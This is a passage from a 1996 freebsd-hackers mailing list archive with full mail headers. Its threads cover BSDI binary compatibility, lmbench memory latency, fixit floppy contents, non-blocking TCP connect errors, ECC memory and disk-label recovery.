SunOS 4.1.3 or Linux and I have not tried anywhere else. -josh From owner-freebsd-hackers Thu May 16 02:04:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA09946 for hackers-outgoing; Thu, 16 May 1996 02:04:29 -0700 (PDT) Received: from smoke.microwiz.com (smoke.microwiz.com [206.100.22.130]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id CAA09941 for ; Thu, 16 May 1996 02:04:27 -0700 (PDT) Received: from jpm.microwiz.com (jpm.microwiz.com [206.100.22.140]) by smoke.microwiz.com (8.7.5/8.7.3) with SMTP id CAA16328 Thu, 16 May 1996 02:05:51 -0700 (PDT) Message-Id: <199605160905.CAA16328@smoke.microwiz.com> Comments: Authenticated sender is From: "John McNamee" Organization: MicroWizards To: freebsd-hackers@freebsd.org, mark@quickweb.com Date: Thu, 16 May 1996 02:05:43 PST Subject: Re: BSDI binary support Priority: normal X-mailer: Pegasus Mail for Windows (v2.33) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > How compatible is FreeBSD (2.1R) with BSDI binaries? The reason I ask is > that I run the BSDI versions of the Netscape Proxy server with no > problems, but I just tried setting up the BSDI 2.1 binaries for the > Microsoft FrontPage server extensions (for web authoring..) and all of > their binaries just core dump on me.. what's the reason for this? I installed the FrontPage extensions on one of my 2.1-STABLE systems. I ran fpsrvadm without incident (e.g. no core dump), but I haven't got FrontPage to actually work (the Web Explorer won't accept my password). I haven't spent much time looking at the problem, so I can't say if it's something stupid on my part or a real incompatibility. -- John McNamee MicroWizards Voice: 702-825-3535 / FAX: 702-825-3443 http://www.microwiz.com From owner-freebsd-hackers Thu May 16 02:06:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA10015 for hackers-outgoing; Thu, 16 May 1996 02:06:59 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id CAA10006; Thu, 16 May 1996 02:06:29 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id PAA10321; Thu, 16 May 1996 15:07:44 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199605160907.PAA10321@hq.icb.chel.su> Subject: Re: EDO & Memory latency To: dyson@freebsd.org Date: Thu, 16 May 1996 15:07:44 +0600 (ESD) Cc: hackers@freebsd.org In-Reply-To: <199605160613.BAA07537@dyson.iquest.net> from "John S. Dyson" at May 16, 96 01:13:11 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I have just tried lmbench and the numbers it gives are looking > > slightly strange for me. It shows memory latency upto 500ns while > > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > > it gives 80ns, but why the overhead is over 400ns ? > > > > Can it go from some VM subsystem activity ? I have 16M of RAM in my box > > and I runned lmbench with 8M maximal buffer size. The latency grows > > with the size of buffer. Is it possible that when > > the size of buffer grows the VM subsystem moves the non-recently used > > pages to some pool and when they are accessed again it gets the VM fault > > and remaps them back to that process? > > > There are several things going on. One is that there is propagation > time through to the main memory, it is much worse than the memory cycle AFAIK all modern PCs have local synchronous "processor-memory" bus. The physical length of wires is not very big so, I think 40ns must be enough for it. Or not? The processor's internal conveyer size is at most 5 (?) steps, for 13ns cycle this give 65ns for the maximal processor overhead. The memory refresh can add about 15% of overhead, 60ns*0.15=9ns. In sum we get 80+40+65+9=~=295ns. But the remaining 200ns are a real mystery for me. > time. Of course, that does not account for all of the 400 nsecs that you > are seeing. BTW, the R4400 boxes that I used to work on reported about > 2usecs for large strides!!!! R3000's actually overflowed the counter :-). I got overflowed the counter when I tried to run lmbench with 8M of memory. I got intensive swapping during its work and negative numbers in results. May be you had a like problem ? It looks like lmbench counts the paging time in the cumulative time of test. So, if paging makes so big latency, may be some less time consuming actions of the VM system make a little addition to the latency ? > You likely are seeing TLB overhead intrinsic to the processor. Some processors > don't have microcode TLB management, and you'll see worse numbers, because the > TLB needs to be handled in normal machine/assembly code. (Of course, on those > processors, you can tune the TLB management more freely.) But I tried to run it on Pentium that has microcode implementation of TLB. -SB From owner-freebsd-hackers Thu May 16 02:21:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA10656 for hackers-outgoing; Thu, 16 May 1996 02:21:20 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA10639; Thu, 16 May 1996 02:21:14 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id LAA16304; Thu, 16 May 1996 11:21:11 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA14457; Thu, 16 May 1996 11:21:10 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id LAA00416; Thu, 16 May 1996 11:10:29 +0200 (MET DST) From: J Wunsch Message-Id: <199605160910.LAA00416@uriah.heep.sax.de> Subject: Re: errros on making floppies To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 16 May 1996 11:10:29 +0200 (MET DST) Cc: jmb@freefall.freebsd.org (Jonathan M. Bresler) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605151428.HAA21866@freefall.freebsd.org> from "Jonathan M. Bresler" at "May 15, 96 07:28:02 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jonathan M. Bresler wrote: > > Pick the existing fixit floppy. It doesn't miss very much, namely > > about all you need in addition to what's already there is an > > /sbin/init (or even /stand/init). > > please add /sbin/restore to hte fixit floppy if it is not there > already. kernel should have st0. /dev should have the st0 > devices too ;) restore(8) is, of course, alrady there. How should one have called it ``fixit'' otherwise? ;) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 02:21:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA10671 for hackers-outgoing; Thu, 16 May 1996 02:21:22 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA10644 for ; Thu, 16 May 1996 02:21:15 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id LAA16308 for ; Thu, 16 May 1996 11:21:12 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA14458 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 11:21:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id LAA00463 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 11:14:58 +0200 (MET DST) From: J Wunsch Message-Id: <199605160914.LAA00463@uriah.heep.sax.de> Subject: Re: errros on making floppies To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 16 May 1996 11:14:58 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <4311.832160545@time.cdrom.com> from "Jordan K. Hubbard" at "May 15, 96 04:42:25 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > > Don't call it `root'. The current root floppy is a simple cpio > > archive with the tools needed to install the system. Re-using this > > name for something else would only increase the level of confusion. > > Actually, I was thinking about renaming that guy anyway, ever since he > became essentially nothing more than a very small distribution, like > bin or doc. ;-) That doesn't mean we should immediately ``recycle'' the name ``root floppy'' for something totally different. This would cause nothing but major confusion to many users. If we ship 2.2 without a root.flp, we need a `quarantine' period so we can use this name for something different as early as 2.3 again. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 02:22:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA10764 for hackers-outgoing; Thu, 16 May 1996 02:22:06 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA10753 for ; Thu, 16 May 1996 02:22:00 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id LAA16300; Thu, 16 May 1996 11:21:09 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA14456; Thu, 16 May 1996 11:21:04 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id LAA00449; Thu, 16 May 1996 11:12:52 +0200 (MET DST) From: J Wunsch Message-Id: <199605160912.LAA00449@uriah.heep.sax.de> Subject: Re: makekey To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 16 May 1996 11:12:52 +0200 (MET DST) Cc: pechter@shell.monmouth.com (Bill/Carolyn Pechter) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605151249.IAA29221@shell.monmouth.com> from Bill/Carolyn Pechter at "May 15, 96 08:49:55 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Bill/Carolyn Pechter wrote: > I find that I've got a makekey man page with no executable. j@uriah 63% locate makekey | head -1 /usr/libexec/makekey -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 02:52:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA12766 for hackers-outgoing; Thu, 16 May 1996 02:52:44 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA12530 for ; Thu, 16 May 1996 02:51:16 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id LAA17220; Thu, 16 May 1996 11:51:05 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA14611; Thu, 16 May 1996 11:51:03 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id LAA01108; Thu, 16 May 1996 11:48:27 +0200 (MET DST) From: J Wunsch Message-Id: <199605160948.LAA01108@uriah.heep.sax.de> Subject: Re: Does /stand/sysinstall overwrite existing system? To: candy@fct.kgc.co.jp (Toshihiro Kanda) Date: Thu, 16 May 1996 11:48:27 +0200 (MET DST) Cc: hackers@FreeBSD.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605150300.MAA08050@xxx.fct.kgc.co.jp> from Toshihiro Kanda at "May 15, 96 12:00:16 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk As Toshihiro Kanda wrote: > I wonder if my previous mail was lost; sorry if you read the > folloings again. > > I'm running FreeBSD 2.1 in sd1. There's an unformatted disk in sd0. > I wanted to install FreeBSD 2.2-960501 into sd0 by /stand/sysinstall > (which is in sd1). I selected only `[X] sd0' in the `Select Drive(s)' > dialog, then continued. You should have used the installation floppy instead. Sysinstall behaves differently when being run in place of /sbin/init (i.e., it knows that it's going to install a system then). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 03:03:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA13464 for hackers-outgoing; Thu, 16 May 1996 03:03:57 -0700 (PDT) Received: from art-1.acorn.co.uk (art-1.acorn.co.uk [136.170.131.7]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA13447 for ; Thu, 16 May 1996 03:03:51 -0700 (PDT) Received: by art-1.acorn.co.uk (SMI-8.6/SMI-SVR4) id LAA23492; Thu, 16 May 1996 11:03:09 +0100 X-Account: 1130 Date: Thu, 16 May 96 11:02:50 BST From: kbracey@art.acorn.co.uk (Kevin Bracey) To: freebsd-hackers@freebsd.org Subject: Problem with non-blocking TCP connects? Message-Id: <319B0B5A@kbracey> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk There is an interesting anomaly in the processing of non-blocking TCP connections. In the case of a loop like while (!connected) { if (connect(s, addr, addrlen) < 0) { if (errno == EINPROGRESS || errno == EALREADY) continue; else if (errno == EISCONN) connected = 1; else return errno; } else connected = 1; } you would normally expect a sequence of errors from connect like: EINPROGRESS EALREADY EALREADY EALREADY EISCONN or, if the connection is refused EINPROGRESS EALREADY EALREADY ECONNREFUSED The former happens, but in the latter case you get EINVAL instead of ECONNREFUSED. This is because when the connection is refused, TCP discards its PCBs and refuses to have anything to do with the relevant socket. Should there be some sort of patch to tcp_usrreq() to check so->so_error (which in the above case is actually set to ECONNREFUSED) and return that if set, before complaining about the lack of a PCB? Kevin Bracey Acorn RISC Technologies From owner-freebsd-hackers Thu May 16 03:24:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA15514 for hackers-outgoing; Thu, 16 May 1996 03:24:48 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id DAA15508 for ; Thu, 16 May 1996 03:24:46 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id DAA08475; Thu, 16 May 1996 03:23:00 -0700 (PDT) To: Mark Mayo cc: freebsd-hackers@freebsd.org Subject: Re: BSDI binary support In-reply-to: Your message of "Thu, 16 May 1996 00:14:03 EDT." Date: Thu, 16 May 1996 03:23:00 -0700 Message-ID: <8473.832242180@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > How compatible is FreeBSD (2.1R) with BSDI binaries? The reason I ask is For 1.1 binaries, very. > that I run the BSDI versions of the Netscape Proxy server with no > problems, but I just tried setting up the BSDI 2.1 binaries for the > Microsoft FrontPage server extensions (for web authoring..) and all of > their binaries just core dump on me.. what's the reason for this? It's not compatible with 2.x binaries. That support was added later on in 2.2-current (haven't checked yet to see if it was brought into 2.1-stable, but if so that would be your best bet). Jordan From owner-freebsd-hackers Thu May 16 03:28:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA15738 for hackers-outgoing; Thu, 16 May 1996 03:28:33 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA15581 for ; Thu, 16 May 1996 03:27:31 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id NAA25849; Thu, 16 May 1996 13:19:46 +0300 Date: Thu, 16 May 1996 13:19:46 +0300 (EET DST) From: Narvi To: "Serge A. Babkin" cc: hackers@freebsd.org Subject: Re: EDO & Memory latency In-Reply-To: <199605160309.JAA29241@hq.icb.chel.su> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Serge A. Babkin wrote: > I have just tried lmbench and the numbers it gives are looking > slightly strange for me. It shows memory latency upto 500ns while > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > it gives 80ns, but why the overhead is over 400ns ? The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... I would use a quicker processor and (120) with ordinary memory (fast-page, 70ns) - but the likes may vary. And I am (like others might) having the dreams of SRAM-only computer, no matter how one with more/faster processors + ordinary memory might perform. > > Can it go from some VM subsystem activity ? I have 16M of RAM in my box > and I runned lmbench with 8M maximal buffer size. The latency grows > with the size of buffer. Is it possible that when > the size of buffer grows the VM subsystem moves the non-recently used > pages to some pool and when they are accessed again it gets the VM fault > and remaps them back to that process? > > Thanks! > > -SB > Sander .sigless on the moment From owner-freebsd-hackers Thu May 16 03:52:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA17187 for hackers-outgoing; Thu, 16 May 1996 03:52:54 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id DAA17173 for ; Thu, 16 May 1996 03:52:27 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id QAA13555; Thu, 16 May 1996 16:47:47 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199605161047.QAA13555@hq.icb.chel.su> Subject: Re: EDO & Memory latency To: narvi@haldjas.folklore.ee (Narvi) Date: Thu, 16 May 1996 16:47:46 +0600 (ESD) Cc: hackers@freebsd.org In-Reply-To: from "Narvi" at May 16, 96 01:19:46 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > On Thu, 16 May 1996, Serge A. Babkin wrote: > > > I have just tried lmbench and the numbers it gives are looking > > slightly strange for me. It shows memory latency upto 500ns while > > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > > it gives 80ns, but why the overhead is over 400ns ? > > The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not You're right, I was wrong. So, the guestion gets yet more interesting :-) > 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... > I would use a quicker processor and (120) with ordinary memory > (fast-page, 70ns) - but the likes may vary. I just got them for the same price as ordinary memory and of course I choosed EDO. It costed me $125 per 8M SIMM. -SB From owner-freebsd-hackers Thu May 16 03:59:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA17546 for hackers-outgoing; Thu, 16 May 1996 03:59:40 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA17537; Thu, 16 May 1996 03:59:29 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id MAA19331; Thu, 16 May 1996 12:59:08 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA15713; Thu, 16 May 1996 12:59:01 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id MAA01458; Thu, 16 May 1996 12:31:53 +0200 (MET DST) From: J Wunsch Message-Id: <199605161031.MAA01458@uriah.heep.sax.de> Subject: Re: Triton chipset with 256k cache caches 32M only? To: rgrimes@GndRsh.aac.dev.com (Rodney W. Grimes) Date: Thu, 16 May 1996 12:31:53 +0200 (MET DST) Cc: jgreco@brasil.moneng.mei.com, davidg@Root.COM, mmead@Glock.COM, joerg_wunsch@uriah.heep.sax.de, blh@nol.net, hackers@freebsd.org, hardware@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605151704.KAA04912@GndRsh.aac.dev.com> from "Rodney W. Grimes" at "May 15, 96 10:04:45 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Rodney W. Grimes wrote: > > > ECC has single bit error correction and 2 bit error detection. Better than > > > parity no matter how you slice it. > > Only if you have memory that is failing or you need extreamly reliable > operation (good memory should have a single bit error rate of something > like 1 in 10 years). I think most of the memory problems we've been observing lately are not related to the RAM itself, but rather to other hardware problems (timing, EMC problems). Remember all the reports about ``strange sig 10/11's'' or the Winbloze ``general protection failure'' mess where you never know whether it's actually hardware or rather an o/s failure. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 04:00:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA17920 for hackers-outgoing; Thu, 16 May 1996 04:00:55 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id EAA17901 for ; Thu, 16 May 1996 04:00:42 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id NAA19509 for ; Thu, 16 May 1996 13:00:39 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA15753 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 13:00:38 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id LAA01175 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 11:54:19 +0200 (MET DST) From: J Wunsch Message-Id: <199605160954.LAA01175@uriah.heep.sax.de> Subject: Re: errros on making floppies To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 16 May 1996 11:54:19 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605151919.VAA00203@yedi.iaf.nl> from Wilko Bulte at "May 15, 96 09:19:46 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Wilko Bulte wrote: > And along with restore a /sbin/mt is needed to do 'mt fsf' like things > on multi-dump tapes /usr/bin/mt (not /sbin/mt) is needed, but only in order to be able to adjust the density and blocksize setting of the tape drive. Skipping over pre-existing dump files is handled by the `s' flag to restore(8). (Do you wonder? After all, dump/restore are the recommended backup tools, and they do know how to handle mag tapes.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 04:01:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA18004 for hackers-outgoing; Thu, 16 May 1996 04:01:15 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id EAA17986 for ; Thu, 16 May 1996 04:01:08 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id NAA19501; Thu, 16 May 1996 13:00:35 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA15751; Thu, 16 May 1996 13:00:35 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id MAA01364; Thu, 16 May 1996 12:18:36 +0200 (MET DST) From: J Wunsch Message-Id: <199605161018.MAA01364@uriah.heep.sax.de> Subject: Re: Poof, hard drive wiped clean... To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 16 May 1996 12:18:36 +0200 (MET DST) Cc: mbarkah@hemi.com (Ade Barkah) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605152133.PAA26133@hemi.com> from Ade Barkah at "May 15, 96 03:33:08 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Ade Barkah wrote: > > One of our 2.1-R machines was backing up an nfs-mounted filesystem > to a 4mm tape when poof, the system panicked, spewed something about > / being mangled, rebooted, and never came back. Booting the machine > up gives the familiar "Non-system disk..." error. > Any ideas ? I'm going to simply repartition and reinstall > FreeBSD on it, but I'm worried this will happen again. Keep the fdisk and/or disklabel figures somewhere on paper. Most of these accidents can be recovered by relabelling the drives in question. (If your disk is ``dangerously dedicated'', only the disklabel is important, the fdisk table degrades to something that's not much used then.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 04:21:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA20723 for hackers-outgoing; Thu, 16 May 1996 04:21:13 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id EAA20701 for ; Thu, 16 May 1996 04:21:06 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id NAA20251 for ; Thu, 16 May 1996 13:21:00 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA15897 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 13:21:00 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id NAA02044 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 13:18:07 +0200 (MET DST) From: J Wunsch Message-Id: <199605161118.NAA02044@uriah.heep.sax.de> Subject: SCSI tape changer anybody? To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 16 May 1996 13:18:07 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi all, is there anybody out there who owns a tape changer device? Jason R Thorpe has been submitting a rewritten `ch' driver, and i'd like to see it tested by at least one other person instead of blindly committing. (Yep, that happens to be the same Jason Thorpe as the NetBSD-core member. :-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 16 04:53:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA22046 for hackers-outgoing; Thu, 16 May 1996 04:53:08 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id EAA22039 for ; Thu, 16 May 1996 04:53:06 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id EAA09281; Thu, 16 May 1996 04:51:12 -0700 (PDT) To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Re: errros on making floppies In-reply-to: Your message of "Thu, 16 May 1996 11:14:58 +0200." <199605160914.LAA00463@uriah.heep.sax.de> Date: Thu, 16 May 1996 04:51:12 -0700 Message-ID: <9279.832247472@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: 